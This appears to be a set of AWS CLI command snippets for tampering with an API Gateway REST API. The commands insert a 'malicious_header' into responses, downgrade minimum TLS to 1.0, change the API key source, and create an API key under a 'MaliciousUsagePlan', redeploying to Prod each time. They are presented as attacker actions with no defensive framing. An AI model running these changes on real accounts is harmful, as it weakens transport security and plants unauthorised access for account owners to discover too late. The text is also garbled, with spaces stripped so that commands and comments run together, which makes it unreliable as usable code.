API_ID="your-api-id"RESPONSE_TYPE="DEFAULT_4XX"# Update the Gateway Responseawsapigatewayupdate-gateway-response--rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operationsop=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"# Create a deployment for the updated API Gateway REST APIawsapigatewaycreate-deployment--rest-api-id $API_ID --stage-nameProd
API_ID="your-api-id"STAGE_NAME="Prod"# Update the API Gateway stageawsapigatewayupdate-stage--rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operationsop=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"# Create a deployment for the updated API Gateway REST APIawsapigatewaycreate-deployment--rest-api-id $API_ID --stage-nameProd
API_ID="your-api-id"RESOURCE_ID="your-resource-id"HTTP_METHOD="GET"STATUS_CODE="200"# Update the method responseawsapigatewayput-method-response--rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters"method.response.header.malicious_header=true"# Create a deployment for the updated API Gateway REST APIawsapigatewaycreate-deployment--rest-api-id $API_ID --stage-nameProd
API_ID="your-api-id"# Update the REST API settingsawsapigatewayupdate-rest-api--rest-api-id $API_ID --patch-operationsop=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'# Create a deployment for the updated API Gateway REST APIawsapigatewaycreate-deployment--rest-api-id $API_ID --stage-nameProd
# Create a new API keyAPI_KEY=$(awsapigatewaycreate-api-key--enabled--outputtext--query'id')# Create a new usage planUSAGE_PLAN=$(awsapigatewaycreate-usage-plan--name"MaliciousUsagePlan"--outputtext--query'id')# Associate the API key with the usage planawsapigatewaycreate-usage-plan-key--usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-typeAPI_KEY